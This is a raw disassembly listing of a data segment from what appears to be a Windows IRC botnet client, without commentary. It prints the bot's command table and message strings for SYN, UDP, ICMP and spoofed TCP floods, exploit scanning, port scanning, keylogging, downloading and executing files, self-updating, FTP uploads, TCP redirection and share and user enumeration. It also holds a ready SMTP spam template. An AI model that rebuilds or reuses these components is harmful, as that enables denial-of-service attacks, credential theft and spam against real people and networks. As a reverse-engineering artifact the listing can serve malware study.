aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+415Fo
align 4
dword_4345E4 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CD3A+4136o
dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h, 29732528h
dd 7325203Ah, 0
dword_434614 dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CD3A+40CBo
dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh, 73252820h
dd 25203A29h, 73h
dword_434644 dd 45444F4Dh, 732520h ; DATA XREF: sub_40CD3A+4076o
dword_43464C dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
; DATA XREF: sub_40CD3A+4044o
dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh, 73252820h
dd 25203A29h, 73h
dword_43467C dd 4B43494Eh, 732520h ; DATA XREF: sub_40CD3A+3FEEo
; sub_40CD3A+48ABo
dword_434684 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40CD3A+3FCFo
dword_434690 dd 54524150h, 732520h ; DATA XREF: sub_40CD3A+3F68o
dword_434698 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_410C86o
dd 2029206Ch, 2BBBB02h
aRepeatNotAllow db ' Repeat not allowed in command line: %s',0
align 10h
dword_4346E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+3F15o
dd 2029206Ch, 2BBBB02h, 65522020h, 74616570h, 7325203Ah
dd 0
aRepeat db 'repeat',0 ; DATA XREF: sub_40CD3A+3EC4o
align 4
dword_434714 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_410BB6o
dd 2029206Ch, 2BBBB02h, 65442020h, 2E79616Ch, 0
dword_43473C dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; DATA XREF: sub_40CD3A+3E3Co
; sub_40CD3A+3EEFo ...
unk_434750 db 2 ; DATA XREF: sub_40CD3A:loc_410B25o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aBotIdMustBeDif db ' Bot ID must be different than current running process.',0
unk_4347A8 db 2 ; DATA XREF: sub_40CD3A+3DCCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStartD db ' Failed to start download thread, error: <%d>.',0
align 4
unk_4347F8 db 2 ; DATA XREF: sub_40CD3A+3D73o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 75h ; u
db 70h, 64h, 61h
db 74h ; t
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDownloadingUpd db ' Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40CD3A+3CCDo
align 4
dword_434844 dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
; DATA XREF: sub_40CD3A+3C6Eo
dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh
dd 732520h
unk_434870 db 2 ; DATA XREF: sub_40CD3A+3C63o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 65h ; e
db 78h, 65h, 63h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTExecute db ' Couldn',27h,'t execute file.',0
align 4
unk_4348A8 db 2 ; DATA XREF: sub_40CD3A+3BB1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start search thread, error: <%d>.',0
align 4
unk_4348F8 db 2 ; DATA XREF: sub_40CD3A+3B4Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingFor_0 db ' Searching for file: %s in: %s.',0
align 4
dword_43493C dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
; DATA XREF: sub_40CD3A:loc_4107E9o
; sub_40CD3A:loc_41143Fo
dd 29206C1Fh, 0BBBB0220h, 2002h
unk_43495C db 2 ; DATA XREF: sub_40CD3A+3A9Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 8
unk_434998 db 2 ; DATA XREF: sub_40CD3A:loc_4107B2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0
align 8
unk_4349E8 db 2 ; DATA XREF: sub_40CD3A+3A59o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_434A34 db 2 ; DATA XREF: sub_40CD3A+39F5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 69h ; i
db 63h, 6Dh, 70h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0
align 8
unk_434A78 db 2 ; DATA XREF: sub_40CD3A+3969o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_15 db ' Failed to start clone thread, error: <%d>.',0
align 8
unk_434AC8 db 2 ; DATA XREF: sub_40CD3A+3910o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 6Ch, 6Fh, 6Eh
db 65h ; e
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0
align 10h
unk_434B10 db 2 ; DATA XREF: sub_40CD3A+3866o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_16 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_434B60 db 2 ; DATA XREF: sub_40CD3A+3804o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0
align 8
dword_434BA8 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40CD3A+375Do
dd 2029206Ch, 2BBBB02h
aFailedToSta_17 db ' Failed to start flood thread, error: <%d>.',0
align 8
dword_434BF8 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40CD3A+36F5o
dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0
unk_434C38 db 2 ; DATA XREF: sub_40CD3A+3670o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_18 db ' Failed to start transfer thread, error: <%d>.',0
align 4
unk_434C8C db 2 ; DATA XREF: sub_40CD3A+3617o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloadingUrl db ' Downloading URL: %s to: %s.',0
align 10h
unk_434CD0 db 2 ; DATA XREF: sub_40CD3A+3533o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0
align 8
unk_434D28 db 2 ; DATA XREF: sub_40CD3A+34DAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0
align 4
unk_434D78 db 2 ; DATA XREF: sub_40CD3A+343Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_19 db ' Failed to start scan thread, error: <%d>.',0
align 4
unk_434DC8 db 2 ; DATA XREF: sub_40CD3A+33E1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40CD3A+335Do
align 4
aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40CD3A+3263o
align 4
dword_434E38 dd 54434101h, 204E4F49h, 17325h, 0 ; DATA XREF: sub_40CD3A+31D5o
; sub_40CD3A+421Ao
dword_434E48 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+3161o
; sub_40CD3A+4D39o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0
align 8
dword_434E98 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+3108o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu'
db 'tes using %d threads.',0
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_40CD3A+30DDo
; sub_40CD3A+4CAFo
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_40CD3A+30D6o
; sub_40CD3A+4CA8o
align 8
dword_434F28 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+2F98o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_21 db ' Failed to start scan, no IP specified.',0
align 8
dword_434F78 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: sub_40CD3A+2E52o
; sub_40CD3A+4AF3o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0
align 10h
dword_434FD0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2E0Co
dd 2029206Ch, 2BBBB02h
aFailedToSta_22 db ' Failed to start flood thread, error: <%d>.',0
align 10h
dword_435020 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2DB3o
dd 2029206Ch, 2BBBB02h
aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40CD3A+2CFCo
align 8
unk_435098 db 2 ; DATA XREF: sub_40CD3A+2CD2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0
align 8
unk_4350E8 db 2 ; DATA XREF: sub_40CD3A+2C79o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 8
dword_435148 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40F8E3o
dd 2029206Ch, 2BBBB02h
aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0
align 8
dword_435198 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2B8Do
dd 2029206Ch, 2BBBB02h
aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0
align 8
dword_4351E8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2B29o
dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0
align 10h
aNormal db 'Normal',0 ; DATA XREF: sub_40CD3A+2B19o
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40CD3A+2B12o
dword_435240 dd 28026502h, 62302E31h ; DATA XREF: sub_40CD3A+2A7Do
db 29h
byte_435249 db 20h, 28h, 20h ; DATA XREF: seg001:off_42450Co
dd 2E706374h, 1F641F6Dh, 2029206Ch, 2BBBB02h
aInvalidFloodTy db ' Invalid flood type specified.',0
align 10h
dword_435280 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40F6CEo
dd 2029206Ch, 2BBBB02h
aUploadingFileS db ' Uploading file: %s to: %s failed.',0
dword_4352C0 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CD3A+298Do
dd 2029206Ch, 2BBBB02h
aUploadingFil_0 db ' Uploading file: %s to: %s',0
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40CD3A+2976o
aSS_4 db '-s:%s',0 ; DATA XREF: sub_40CD3A+295Fo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40CD3A+293Fo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40CD3A+290Ao
align 4
dword_43533C dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
; DATA XREF: sub_40CD3A+2884o
dd 2029206Ch, 2BBBB02h
aFileNotFoundS_ db ' File not found: %s.',0
align 10h
aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40CD3A+2861o
align 4
aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40CD3A+283Eo
align 4
aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40CD3A+2827o
align 4
unk_435398 db 3 ; DATA XREF: sub_40CD3A+27D8o
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 65h, 6Eh
db 7Ah ; z
db 31h, 30h, 62h
db 20h
db 3, 32h, 2Eh
db 2Eh ; .
db 20h, 3, 31h
db 35h ; 5
db 28h, 65h, 6Dh
db 61h ; a
db 69h, 6Ch, 3
db 32h ; 2
db 2Eh, 3, 31h
db 35h ; 5
db 6Dh, 6Fh, 64h
db 29h ; )
db 20h, 3, 32h
db 0BBh ; »
db 3, 31h, 35h
aMessageSentToS db ' Message sent to %s.',0
align 10h
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40CD3A+2764o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
a_: ; DATA XREF: sub_40CD3A+26C8o
unicode 0, <_>,0
aUtil_email db 'util.email',0 ; DATA XREF: sub_40CD3A+2679o
align 4
aUsa db 'usa',0 ; DATA XREF: sub_40CD3A+2662o
aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40CD3A+264Bo
align 10h
aPg db 'pg',0 ; DATA XREF: sub_40CD3A+2634o
align 4
aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40CD3A+261Do
align 10h
aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40CD3A+2606o
align 10h
aPu db 'pu',0 ; DATA XREF: sub_40CD3A+25EFo
align 4
aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40CD3A+25D8o
align 10h
aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40CD3A+25C1o
align 10h
aVuln_start db 'vuln.start',0 ; DATA XREF: sub_40CD3A+2593o
align 4
aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40CD3A+256Ao
align 4
aClone_action db 'clone.action',0 ; DATA XREF: sub_40CD3A+2553o
align 4
aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40CD3A+253Co
align 4
aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40CD3A+2525o
align 4
aEnz_ps db 'enz.ps',0 ; DATA XREF: sub_40CD3A+250Eo
align 4
aEnz_portscan db 'enz.portscan',0 ; DATA XREF: sub_40CD3A+24F7o
align 4
aServer_rd_on db 'server.rd.on',0 ; DATA XREF: sub_40CD3A+24E0o
align 4
aServer_redir_0 db 'server.redirect.on',0 ; DATA XREF: sub_40CD3A+24C9o
align 10h
aD1 db 'd1',0 ; DATA XREF: sub_40CD3A+24B2o
align 4
aDownload_fromw db 'download.fromwww',0 ; DATA XREF: sub_40CD3A+249Bo
align 4
aSy1 db 'sy1',0 ; DATA XREF: sub_40CD3A+2484o
aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40CD3A+246Do
align 4
aDs_rm db 'ds.rm',0 ; DATA XREF: sub_40CD3A+2456o
align 4
aDs_ack db 'ds.ack',0 ; DATA XREF: sub_40CD3A+243Fo
align 4
aDs_sy1 db 'ds.sy1',0 ; DATA XREF: sub_40CD3A+2428o
align 4
aClone_start db 'clone.start',0 ; DATA XREF: sub_40CD3A+2411o
aClone_make db 'clone.make',0 ; DATA XREF: sub_40CD3A+23FAo
align 4
aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40CD3A+23D1o
aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40CD3A+23BAo
align 10h
aBox_mv db 'box.mv',0 ; DATA XREF: sub_40CD3A+23A3o
align 4
aBox_rename db 'box.rename',0 ; DATA XREF: sub_40CD3A+238Co
align 4
aBox_ff db 'box.ff',0 ; DATA XREF: sub_40CD3A+2375o
align 4
aBox_findfile db 'box.findfile',0 ; DATA XREF: sub_40CD3A+235Eo
align 4
aBox_e db 'box.e',0 ; DATA XREF: sub_40CD3A+2347o
align 4
aBox_execute db 'box.execute',0 ; DATA XREF: sub_40CD3A+2330o
aDownload_upz db 'download.upz',0 ; DATA XREF: sub_40CD3A+2319o
align 10h
aDownload_updiz db 'download.updiz',0 ; DATA XREF: sub_40CD3A+2302o
align 10h
aEnz_de db 'enz.de',0 ; DATA XREF: sub_40CD3A+22EBo
align 4
aEnz_delay db 'enz.delay',0 ; DATA XREF: sub_40CD3A+22D4o
align 4
aEnz_rp db 'enz.rp',0 ; DATA XREF: sub_40CD3A+22BDo
align 4
aEnz_repeat db 'enz.repeat',0 ; DATA XREF: sub_40CD3A+22A6o
align 4
aClone_p db 'clone.p',0 ; DATA XREF: sub_40CD3A+228Fo
aClone_part db 'clone.part',0 ; DATA XREF: sub_40CD3A+2278o
align 4
aClone_j db 'clone.j',0 ; DATA XREF: sub_40CD3A+2261o
aClone_join db 'clone.join',0 ; DATA XREF: sub_40CD3A+224Ao
align 10h
aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40CD3A+2233o
align 4
aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40CD3A+221Co
align 4
aClone_m db 'clone.m',0 ; DATA XREF: sub_40CD3A+2205o
aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40CD3A+21EEo
align 4
aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40CD3A+21D7o
align 4
aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40CD3A+21C0o
align 4
aEnz_m db 'enz.m',0 ; DATA XREF: sub_40CD3A+21A9o
align 4
aEnz_mode db 'enz.mode',0 ; DATA XREF: sub_40CD3A+2192o
align 4
aEnz_cy db 'enz.cy',0 ; DATA XREF: sub_40CD3A+217Bo
align 10h
aEnz_cycle db 'enz.cycle',0 ; DATA XREF: sub_40CD3A+2164o
align 4
aEnz_ac db 'enz.ac',0 ; DATA XREF: sub_40CD3A+214Do
align 4
aEnz_action db 'enz.action',0 ; DATA XREF: sub_40CD3A+2136o
align 10h
aEnz_pm db 'enz.pm',0 ; DATA XREF: sub_40CD3A+211Fo
align 4
aEnz_privmsg db 'enz.privmsg',0 ; DATA XREF: sub_40CD3A+2108o
aEnz_aa db 'enz.aa',0 ; DATA XREF: sub_40CD3A+20F1o
align 4
aEnz_addalias db 'enz.addalias',0 ; DATA XREF: sub_40CD3A+20DAo
align 4
aEnz_gh db 'enz.gh',0 ; DATA XREF: sub_40CD3A+20B1o
align 4
aEnz_gethost db 'enz.gethost',0 ; DATA XREF: sub_40CD3A+209Ao
dword_4356F0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40EDB9o
dd 2029206Ch, 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 10h
dword_435720 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40EDB2o
dd 2029206Ch, 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_435754 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40ED67o
dd 2029206Ch, 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_435784 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A+2026o
dd 2029206Ch, 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: sub_40CD3A+1F9Fo
align 10h
dword_4357C0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40ECCEo
dd 2029206Ch, 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_4357F4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A+1F8Ao
dd 2029206Ch, 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: sub_40CD3A+1F1Co
align 10h
aDelete db 'delete',0 ; DATA XREF: sub_40CD3A+1F01o
align 4
aPause db 'pause',0 ; DATA XREF: sub_40CD3A+1ECBo
align 10h
aStop db 'stop',0 ; DATA XREF: sub_40CD3A+1EB3o
align 4
dword_435848 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A:loc_40EBE2o
dd 2029206Ch, 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 4
dword_43587C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A+1E9Eo
dd 2029206Ch, 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 8
dword_4358B8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_40CD3A+1E14o
dd 2029206Ch, 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aBox_net db 'box.net',0 ; DATA XREF: sub_40CD3A+1DF0o
align 10h
unk_435910 db 2 ; DATA XREF: sub_40CD3A+1DBFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_25 db ' Failed to start logging thread, error: <%d>.',0
align 10h
unk_435960 db 2 ; DATA XREF: sub_40CD3A+1D66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_435994 db 2 ; DATA XREF: sub_40CD3A+1CE5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_4359C8 db 2 ; DATA XREF: sub_40CD3A:loc_40EA09o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_435A08 db 2 ; DATA XREF: sub_40CD3A+1CC5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 6Bh ; k
db 65h, 79h, 6Ch
db 6Fh ; o
db 67h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
